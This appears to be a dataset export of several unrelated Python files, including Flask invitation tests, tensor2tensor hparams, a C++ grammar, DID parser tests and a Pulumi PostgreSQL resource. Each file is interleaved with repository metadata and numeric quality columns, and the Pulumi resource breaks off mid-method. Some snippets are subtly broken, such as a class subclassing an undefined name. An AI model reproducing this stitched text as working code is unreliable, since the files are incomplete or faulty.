returned_value = client.post('/remove_added_user',
data={
'confirmation': 'true',
'user_id': str(trainee._id)
},
follow_redirects=True)
assert returned_value.status_code == 204
# User not found
def test_invitations(client):
returned_value = client.get('/invitations', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
assert g.user is None
login_as_testTrainee(client)
try:
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
invitation = g.database.mongo.invitation.insert_one({
'sender': ObjectId(trainer._id),
'recipient': ObjectId(trainee._id)
})
returned_value = client.get('/invitations', follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) is Trainee
assert bytes('{}'.format(invitation.inserted_id),
'utf-8') in returned_value.data
finally:
g.database.mongo.invitation.delete_many({
'sender': ObjectId(trainer._id),
'recipient': ObjectId(trainee._id)
})
def test_accept_invitation(client):
returned_value = client.post('/accept_invitation',
data={'confirmation': 'true'},
follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
assert g.user is None
login_as_testTrainee(client)
try:
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
invitation = g.database.mongo.invitation.insert_one({
'sender': ObjectId(trainer._id),
'recipient': ObjectId(trainee._id)
})
returned_value = client.post('/accept_invitation',
data={
'confirmation': 'false',
'invitation_id': '000000000000000000000000'
},
follow_redirects=True)
assert returned_value.status_code == 500
assert type(g.user) is Trainee
returned_value = client.post('/accept_invitation',
data={
'confirmation': 'true',
'invitation_id': str('000000000000000000000000')
},
follow_redirects=True)
assert returned_value.status_code == 500
returned_value = client.post('/accept_invitation',
data={
'confirmation': 'true',
'invitation_id': str(invitation.inserted_id)
},
follow_redirects=True)
assert returned_value.status_code == 204
assert type(g.user) is Trainee
assert g.database.mongo.invitation.find_one({
'recipient': ObjectId(trainer._id)
}) is None
assert ObjectId(trainer._id) in g.database.mongo.trainee.find_one({
'_id': ObjectId(trainee._id)
})['trainers']
assert ObjectId(trainee._id) in g.database.mongo.trainer.find_one({
'_id': ObjectId(trainer._id)
})['trainees']
finally:
g.database.mongo.invitation.delete_many({
'sender': ObjectId(trainer._id),
'recipient': ObjectId(trainee._id)
})
| 34.700871
| 114
| 0.609594
| 7,935
| 71,692
| 5.29351
| 0.035161
| 0.131226
| 0.058566
| 0.070112
| 0.916127
| 0.899176
| 0.888368
| 0.862704
| 0.840729
| 0.808828
| 0
| 0.017977
| 0.293129
| 71,692
| 2,065
| 115
| 34.717676
| 0.810881
| 0.055446
| 0
| 0.813983
| 0
| 0
| 0.122256
| 0.007192
| 0
| 0
| 0
| 0
| 0.25465
| 1
| 0.033996
| false
| 0.045542
| 0.010904
| 0
| 0.044901
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6d46138dc4c3c6e152f68ec2403e677b881acb6f
| 203
|
py
|
Python
|
bentoml/torchscript.py
|
sauyon/BentoML
|
ff702f1fc1ee7cc4cf7aab2e67d1e27512858fe4
|
[
"Apache-2.0"
] | null | null | null |
bentoml/torchscript.py
|
sauyon/BentoML
|
ff702f1fc1ee7cc4cf7aab2e67d1e27512858fe4
|
[
"Apache-2.0"
] | null | null | null |
bentoml/torchscript.py
|
sauyon/BentoML
|
ff702f1fc1ee7cc4cf7aab2e67d1e27512858fe4
|
[
"Apache-2.0"
] | null | null | null |
from ._internal.frameworks.torchscript import load
from ._internal.frameworks.torchscript import save
from ._internal.frameworks.torchscript import load_runner
__all__ = ["load", "load_runner", "save"]
| 33.833333
| 57
| 0.812808
| 24
| 203
| 6.5
| 0.375
| 0.230769
| 0.423077
| 0.634615
| 0.801282
| 0.551282
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08867
| 203
| 5
| 58
| 40.6
| 0.843243
| 0
| 0
| 0
| 0
| 0
| 0.093596
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
6d63f7816546013d855cf182e4b7942ca988f26f
| 258
|
py
|
Python
|
fafalytics/extractors/base.py
|
yaniv-aknin/fafalytics
|
d4f34a2650fb8650dd1eacbefd3b3836b0f81c17
|
[
"MIT"
] | 1
|
2021-05-04T17:14:12.000Z
|
2021-05-04T17:14:12.000Z
|
fafalytics/extractors/base.py
|
yaniv-aknin/fafalytics
|
d4f34a2650fb8650dd1eacbefd3b3836b0f81c17
|
[
"MIT"
] | 15
|
2021-04-22T17:02:27.000Z
|
2021-04-28T08:18:06.000Z
|
fafalytics/extractors/base.py
|
yaniv-aknin/fafalytics
|
d4f34a2650fb8650dd1eacbefd3b3836b0f81c17
|
[
"MIT"
] | null | null | null |
class Extractor:
def __str__(self):
return self.__class__.__name__
class ExtractByCommand(Extractor):
def feed(self, command):
if not hasattr(self, command['type']):
return
getattr(self, command['type'])(command)
| 25.8
| 47
| 0.639535
| 28
| 258
| 5.464286
| 0.535714
| 0.215686
| 0.196078
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.244186
| 258
| 9
| 48
| 28.666667
| 0.784615
| 0
| 0
| 0
| 0
| 0
| 0.031008
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0.125
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
ed9d62261563494376876ab4dbe10653c84023fe
| 728
|
py
|
Python
|
my_t2t/transformer_med.py
|
JinkelaCrops/t2t-learning
|
5d9b5a5164af763c24f1cbce9d97561e9f2b772c
|
[
"Apache-2.0"
] | 5
|
2019-03-28T03:52:32.000Z
|
2021-02-24T07:09:26.000Z
|
my_t2t/transformer_med.py
|
JinkelaCrops/t2t-learning
|
5d9b5a5164af763c24f1cbce9d97561e9f2b772c
|
[
"Apache-2.0"
] | null | null | null |
my_t2t/transformer_med.py
|
JinkelaCrops/t2t-learning
|
5d9b5a5164af763c24f1cbce9d97561e9f2b772c
|
[
"Apache-2.0"
] | 2
|
2018-08-07T03:43:09.000Z
|
2019-12-09T06:41:40.000Z
|
from tensor2tensor.utils import registry
from tensor2tensor.models.transformer import transformer_big_single_gpu
@registry.register_hparams
def transformer_big_single_gpu_batch_size_1600():
"""HParams for transfomer big model on WMT."""
hparams = transformer_big_single_gpu()
hparams.batch_size = 1600
# small vocab 30000: 1600 for single gpu
hparams.symbol_modality_num_shards = 1
return hparams
@registry.register_hparams
def transformer_big_single_gpu_batch_size():
"""HParams for transfomer big model on WMT."""
hparams = transformer_big_single_gpu()
hparams.batch_size = 1600
# small vocab 30000: 1600 for single gpu
hparams.symbol_modality_num_shards = 1
return hparams
| 31.652174
| 71
| 0.776099
| 97
| 728
| 5.515464
| 0.309278
| 0.117757
| 0.186916
| 0.214953
| 0.807477
| 0.807477
| 0.807477
| 0.807477
| 0.807477
| 0.807477
| 0
| 0.055738
| 0.162088
| 728
| 22
| 72
| 33.090909
| 0.821311
| 0.21978
| 0
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| false
| 0
| 0.142857
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
edb16ccc2200dcb5287665aca80948e72119cee0
| 104
|
py
|
Python
|
torchOnVideo/tracking/towards_realtime_mot/EvaluateModel.py
|
torchOnVideo/torchOnVideo
|
aa07d5661f772eca027ecc6b79e14bd68a515aa1
|
[
"MIT"
] | 2
|
2021-03-19T08:05:06.000Z
|
2021-05-22T21:54:10.000Z
|
torchOnVideo/tracking/towards_realtime_mot/EvaluateModel.py
|
torchOnVideo/torchOnVideo
|
aa07d5661f772eca027ecc6b79e14bd68a515aa1
|
[
"MIT"
] | null | null | null |
torchOnVideo/tracking/towards_realtime_mot/EvaluateModel.py
|
torchOnVideo/torchOnVideo
|
aa07d5661f772eca027ecc6b79e14bd68a515aa1
|
[
"MIT"
] | null | null | null |
from ..towards_realtime_mot import towards_realtime_mot
class EvaluateModel( real_time_mot ):
pass
| 20.8
| 55
| 0.817308
| 14
| 104
| 5.642857
| 0.714286
| 0.379747
| 0.455696
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.134615
| 104
| 4
| 56
| 26
| 0.877778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 8
|
b65b3b309a6c4cf41739158247ff1f364b16d253
| 2,270
|
py
|
Python
|
mak/libs/pyxx/cxx/grammar/expression/primary/fold.py
|
bugengine/BugEngine
|
1b3831d494ee06b0bd74a8227c939dd774b91226
|
[
"BSD-3-Clause"
] | 4
|
2015-05-13T16:28:36.000Z
|
2017-05-24T15:34:14.000Z
|
mak/libs/pyxx/cxx/grammar/expression/primary/fold.py
|
bugengine/BugEngine
|
1b3831d494ee06b0bd74a8227c939dd774b91226
|
[
"BSD-3-Clause"
] | null | null | null |
mak/libs/pyxx/cxx/grammar/expression/primary/fold.py
|
bugengine/BugEngine
|
1b3831d494ee06b0bd74a8227c939dd774b91226
|
[
"BSD-3-Clause"
] | 1
|
2017-03-21T08:28:07.000Z
|
2017-03-21T08:28:07.000Z
|
"""
fold-expression:
( cast-expression fold-operator ... )
( ... fold-operator cast-expression )
( cast-expression fold-operator ... fold-operator cast-expression )
fold-operator: one of
+ - * / % ^ & | << >>
+= -= *= /= %= ^= &= |= <<= >>= =
== != < > <= >= && || , .* ->*
"""
import glrp
from ....parser import cxx98
from be_typing import TYPE_CHECKING
@glrp.rule('fold-expression : [split]"(" cast-expression fold-operator "..." ")"')
@glrp.rule('fold-expression : [split]"(" "..." fold-operator cast-expression ")"')
@glrp.rule('fold-expression : [split]"(" cast-expression fold-operator "..." fold-operator cast-expression ")"')
@cxx98
def fold_expression(self, p):
# type: (CxxParser, glrp.Production) -> None
pass
@glrp.rule('fold-operator : [split]"+"')
@glrp.rule('fold-operator : [split]"-"')
@glrp.rule('fold-operator : [split]"*"')
@glrp.rule('fold-operator : [split]"/"')
@glrp.rule('fold-operator : [split]"%"')
@glrp.rule('fold-operator : [split]"^"')
@glrp.rule('fold-operator : [split]"&"')
@glrp.rule('fold-operator : [split]"|"')
@glrp.rule('fold-operator : [split]"<<"')
@glrp.rule('fold-operator : [split]">>"')
@glrp.rule('fold-operator : [split]"+="')
@glrp.rule('fold-operator : [split]"-="')
@glrp.rule('fold-operator : [split]"*="')
@glrp.rule('fold-operator : [split]"/="')
@glrp.rule('fold-operator : [split]"%="')
@glrp.rule('fold-operator : [split]"^="')
@glrp.rule('fold-operator : [split]"&="')
@glrp.rule('fold-operator : [split]"|="')
@glrp.rule('fold-operator : [split]"<<="')
@glrp.rule('fold-operator : [split]">>="')
@glrp.rule('fold-operator : [split]"="')
@glrp.rule('fold-operator : [split]"=="')
@glrp.rule('fold-operator : [split]"!="')
@glrp.rule('fold-operator : [split]"<"')
@glrp.rule('fold-operator : [split]">"')
@glrp.rule('fold-operator : [split]"<="')
@glrp.rule('fold-operator : [split]">="')
@glrp.rule('fold-operator : [split]"&&"')
@glrp.rule('fold-operator : [split]"||"')
@glrp.rule('fold-operator : [split]","')
@glrp.rule('fold-operator : [split]".*"')
@glrp.rule('fold-operator : [split]"->*"')
@cxx98
def fold_operator(self, p):
# type: (CxxParser, glrp.Production) -> None
pass
if TYPE_CHECKING:
from ....parser import CxxParser
| 33.880597
| 112
| 0.593392
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| 2,270
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| 0.097656
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| 0.76006
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| 0
| 0
| 0
|
0
| 8
|
b6a83f51eaadca9cd17d9d32d9c2cdebd45d69bf
| 8,277
|
py
|
Python
|
tests/did/test_didering.py
|
reputage/didery
|
f94a3cf63a7be2a341fa06d173d068924e540e41
|
[
"Apache-2.0"
] | 8
|
2018-09-07T09:26:52.000Z
|
2021-01-16T12:22:07.000Z
|
tests/did/test_didering.py
|
reputage/didery
|
f94a3cf63a7be2a341fa06d173d068924e540e41
|
[
"Apache-2.0"
] | 184
|
2018-04-19T17:46:02.000Z
|
2019-05-21T19:04:30.000Z
|
tests/did/test_didering.py
|
reputage/didery
|
f94a3cf63a7be2a341fa06d173d068924e540e41
|
[
"Apache-2.0"
] | 3
|
2018-09-26T19:16:30.000Z
|
2018-12-18T18:50:40.000Z
|
import pytest
import didery
from didery.did import didering
from didery.did.methods import dad
def didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment):
"""
Tests a didery.did.didering.Did objects parsing of a DID
:param did_reference: String
:param did: didery.did.didering.Did object
:param exp_scheme: String
:param exp_method: String
:param exp_idstring: String
:param exp_query: String
:param exp_path: String
:param exp_fragment: String
"""
assert exp_scheme == did.scheme
assert exp_method == did.method
assert exp_idstring == did.idString
assert exp_query == did.query
assert exp_path == did.path
assert exp_fragment == did.fragment
assert did.did_reference == did_reference
assert did.did == "{}:{}:{}".format(exp_scheme, exp_method, exp_idstring)
def testBasicDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=/customers/1234?color=blue#test_did"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = "color=blue"
exp_path = "/customers/1234"
exp_fragment = "test_did"
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testMissingQueryDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=/customers/1234#test_did"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = None
exp_path = "/customers/1234"
exp_fragment = "test_did"
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testMissingPathDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=?color=blue#test_did"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = "color=blue"
exp_path = ""
exp_fragment = "test_did"
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testMissingFragmentDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=/customers/1234?color=blue"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = "color=blue"
exp_path = "/customers/1234"
exp_fragment = None
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testDIDOnlyDid():
# No Query, Path, or Fragment
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = None
exp_path = ""
exp_fragment = None
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testFragmentOnlyDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=#test_did"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = None
exp_path = ""
exp_fragment = "test_did"
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testQueryOnlyDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=?color=blue"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = "color=blue"
exp_path = ""
exp_fragment = None
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testPathOnlyDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=/customers/1234"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = None
exp_path = "/customers/1234"
exp_fragment = None
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testComplexIdstringWithoutReferenceDid():
did_reference = "did:ala:quor:testnet1:QmeeasCZ9bjLbXhwFd7Fidz6CBziJQJpcUueBJ7d7csxhb"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "ala"
exp_idstring = "quor:testnet1:QmeeasCZ9bjLbXhwFd7Fidz6CBziJQJpcUueBJ7d7csxhb"
exp_query = None
exp_path = ""
exp_fragment = None
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testComplexIdstringWithReferenceDid():
did_reference = "did:ala:quor:testnet1:QmeeasCZ9bjLbXhwFd7Fidz6CBziJQJpcUueBJ7d7csxhb/customers/1234?color=blue#test_did"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "ala"
exp_idstring = "quor:testnet1:QmeeasCZ9bjLbXhwFd7Fidz6CBziJQJpcUueBJ7d7csxhb"
exp_query = "color=blue"
exp_path = "/customers/1234"
exp_fragment = "test_did"
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testComplexQueryDid():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=/customers/1234?color=blue&type=tshirt#test_did"
did = didering.Did(did_reference)
exp_scheme = "did"
exp_method = "dad"
exp_idstring = "iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY="
exp_query = "color=blue&type=tshirt"
exp_path = "/customers/1234"
exp_fragment = "test_did"
didAssertions(did_reference,
did,
exp_scheme,
exp_method,
exp_idstring,
exp_query,
exp_path,
exp_fragment)
def testEmptyDid():
did_reference = ""
with pytest.raises(ValueError) as ex:
did = didering.Did(did_reference)
assert ex.value == "Invalid DID value"
def testGetDIDModel():
did_reference = "did:dad:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=?color=blue&type=tshirt/customers/1234#test_did"
did = didering.getDIDModel(did_reference)
assert did is not None
def testGetNonExistentDIDModel():
did_reference = "did:fake:iy67FstqFl_a5e-sni6yAWoj60-1E2RtzmMGjrjHaSY=?color=blue&type=tshirt/customers/1234#test_did"
did = didering.getDIDModel(did_reference)
assert did is None
| 29.24735
| 125
| 0.605171
| 826
| 8,277
| 5.785714
| 0.085956
| 0.107972
| 0.081607
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0
| 8
|
b6a99f208a2dca169bf3361a49cc6c87c3fcf6b4
| 16,544
|
py
|
Python
|
sdk/python/pulumi_postgresql/extension.py
|
pulumi/pulumi-postgresql
|
8a3b528217aafd48f58e40e4196acd0fb740bef6
|
[
"ECL-2.0",
"Apache-2.0"
] | 18
|
2019-08-13T08:01:04.000Z
|
2021-11-24T18:54:20.000Z
|
sdk/python/pulumi_postgresql/extension.py
|
pulumi/pulumi-postgresql
|
8a3b528217aafd48f58e40e4196acd0fb740bef6
|
[
"ECL-2.0",
"Apache-2.0"
] | 56
|
2019-06-21T18:31:15.000Z
|
2022-03-25T20:00:13.000Z
|
sdk/python/pulumi_postgresql/extension.py
|
pulumi/pulumi-postgresql
|
8a3b528217aafd48f58e40e4196acd0fb740bef6
|
[
"ECL-2.0",
"Apache-2.0"
] | 6
|
2019-10-05T10:29:02.000Z
|
2020-10-14T09:47:26.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
__all__ = ['ExtensionArgs', 'Extension']
@pulumi.input_type
class ExtensionArgs:
def __init__(__self__, *,
create_cascade: Optional[pulumi.Input[bool]] = None,
database: Optional[pulumi.Input[str]] = None,
drop_cascade: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
schema: Optional[pulumi.Input[str]] = None,
version: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a Extension resource.
:param pulumi.Input[bool] create_cascade: When true, will also create any extensions that this extension depends on that are not already installed. (Default: false)
:param pulumi.Input[str] database: Which database to create the extension on. Defaults to provider database.
:param pulumi.Input[bool] drop_cascade: When true, will also drop all the objects that depend on the extension, and in turn all objects that depend on those objects. (Default: false)
:param pulumi.Input[str] name: The name of the extension.
:param pulumi.Input[str] schema: Sets the schema of an extension.
:param pulumi.Input[str] version: Sets the version number of the extension.
"""
if create_cascade is not None:
pulumi.set(__self__, "create_cascade", create_cascade)
if database is not None:
pulumi.set(__self__, "database", database)
if drop_cascade is not None:
pulumi.set(__self__, "drop_cascade", drop_cascade)
if name is not None:
pulumi.set(__self__, "name", name)
if schema is not None:
pulumi.set(__self__, "schema", schema)
if version is not None:
pulumi.set(__self__, "version", version)
@property
@pulumi.getter(name="createCascade")
def create_cascade(self) -> Optional[pulumi.Input[bool]]:
"""
When true, will also create any extensions that this extension depends on that are not already installed. (Default: false)
"""
return pulumi.get(self, "create_cascade")
@create_cascade.setter
def create_cascade(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "create_cascade", value)
@property
@pulumi.getter
def database(self) -> Optional[pulumi.Input[str]]:
"""
Which database to create the extension on. Defaults to provider database.
"""
return pulumi.get(self, "database")
@database.setter
def database(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "database", value)
@property
@pulumi.getter(name="dropCascade")
def drop_cascade(self) -> Optional[pulumi.Input[bool]]:
"""
When true, will also drop all the objects that depend on the extension, and in turn all objects that depend on those objects. (Default: false)
"""
return pulumi.get(self, "drop_cascade")
@drop_cascade.setter
def drop_cascade(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "drop_cascade", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the extension.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def schema(self) -> Optional[pulumi.Input[str]]:
"""
Sets the schema of an extension.
"""
return pulumi.get(self, "schema")
@schema.setter
def schema(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schema", value)
@property
@pulumi.getter
def version(self) -> Optional[pulumi.Input[str]]:
"""
Sets the version number of the extension.
"""
return pulumi.get(self, "version")
@version.setter
def version(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "version", value)
@pulumi.input_type
class _ExtensionState:
def __init__(__self__, *,
create_cascade: Optional[pulumi.Input[bool]] = None,
database: Optional[pulumi.Input[str]] = None,
drop_cascade: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
schema: Optional[pulumi.Input[str]] = None,
version: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering Extension resources.
:param pulumi.Input[bool] create_cascade: When true, will also create any extensions that this extension depends on that are not already installed. (Default: false)
:param pulumi.Input[str] database: Which database to create the extension on. Defaults to provider database.
:param pulumi.Input[bool] drop_cascade: When true, will also drop all the objects that depend on the extension, and in turn all objects that depend on those objects. (Default: false)
:param pulumi.Input[str] name: The name of the extension.
:param pulumi.Input[str] schema: Sets the schema of an extension.
:param pulumi.Input[str] version: Sets the version number of the extension.
"""
if create_cascade is not None:
pulumi.set(__self__, "create_cascade", create_cascade)
if database is not None:
pulumi.set(__self__, "database", database)
if drop_cascade is not None:
pulumi.set(__self__, "drop_cascade", drop_cascade)
if name is not None:
pulumi.set(__self__, "name", name)
if schema is not None:
pulumi.set(__self__, "schema", schema)
if version is not None:
pulumi.set(__self__, "version", version)
@property
@pulumi.getter(name="createCascade")
def create_cascade(self) -> Optional[pulumi.Input[bool]]:
"""
When true, will also create any extensions that this extension depends on that are not already installed. (Default: false)
"""
return pulumi.get(self, "create_cascade")
@create_cascade.setter
def create_cascade(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "create_cascade", value)
@property
@pulumi.getter
def database(self) -> Optional[pulumi.Input[str]]:
"""
Which database to create the extension on. Defaults to provider database.
"""
return pulumi.get(self, "database")
@database.setter
def database(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "database", value)
@property
@pulumi.getter(name="dropCascade")
def drop_cascade(self) -> Optional[pulumi.Input[bool]]:
"""
When true, will also drop all the objects that depend on the extension, and in turn all objects that depend on those objects. (Default: false)
"""
return pulumi.get(self, "drop_cascade")
@drop_cascade.setter
def drop_cascade(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "drop_cascade", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the extension.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def schema(self) -> Optional[pulumi.Input[str]]:
"""
Sets the schema of an extension.
"""
return pulumi.get(self, "schema")
@schema.setter
def schema(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schema", value)
@property
@pulumi.getter
def version(self) -> Optional[pulumi.Input[str]]:
"""
Sets the version number of the extension.
"""
return pulumi.get(self, "version")
@version.setter
def version(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "version", value)
class Extension(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
create_cascade: Optional[pulumi.Input[bool]] = None,
database: Optional[pulumi.Input[str]] = None,
drop_cascade: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
schema: Optional[pulumi.Input[str]] = None,
version: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
The ``Extension`` resource creates and manages an extension on a PostgreSQL
server.
## Usage
```python
import pulumi
import pulumi_postgresql as postgresql
my_extension = postgresql.Extension("myExtension")
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] create_cascade: When true, will also create any extensions that this extension depends on that are not already installed. (Default: false)
:param pulumi.Input[str] database: Which database to create the extension on. Defaults to provider database.
:param pulumi.Input[bool] drop_cascade: When true, will also drop all the objects that depend on the extension, and in turn all objects that depend on those objects. (Default: false)
:param pulumi.Input[str] name: The name of the extension.
:param pulumi.Input[str] schema: Sets the schema of an extension.
:param pulumi.Input[str] version: Sets the version number of the extension.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: Optional[ExtensionArgs] = None,
opts: Optional[pulumi.ResourceOptions] = None):
"""
The ``Extension`` resource creates and manages an extension on a PostgreSQL
server.
## Usage
```python
import pulumi
import pulumi_postgresql as postgresql
my_extension = postgresql.Extension("myExtension")
```
:param str resource_name: The name of the resource.
:param ExtensionArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ExtensionArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
create_cascade: Optional[pulumi.Input[bool]] = None,
database: Optional[pulumi.Input[str]] = None,
drop_cascade: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
schema: Optional[pulumi.Input[str]] = None,
version: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
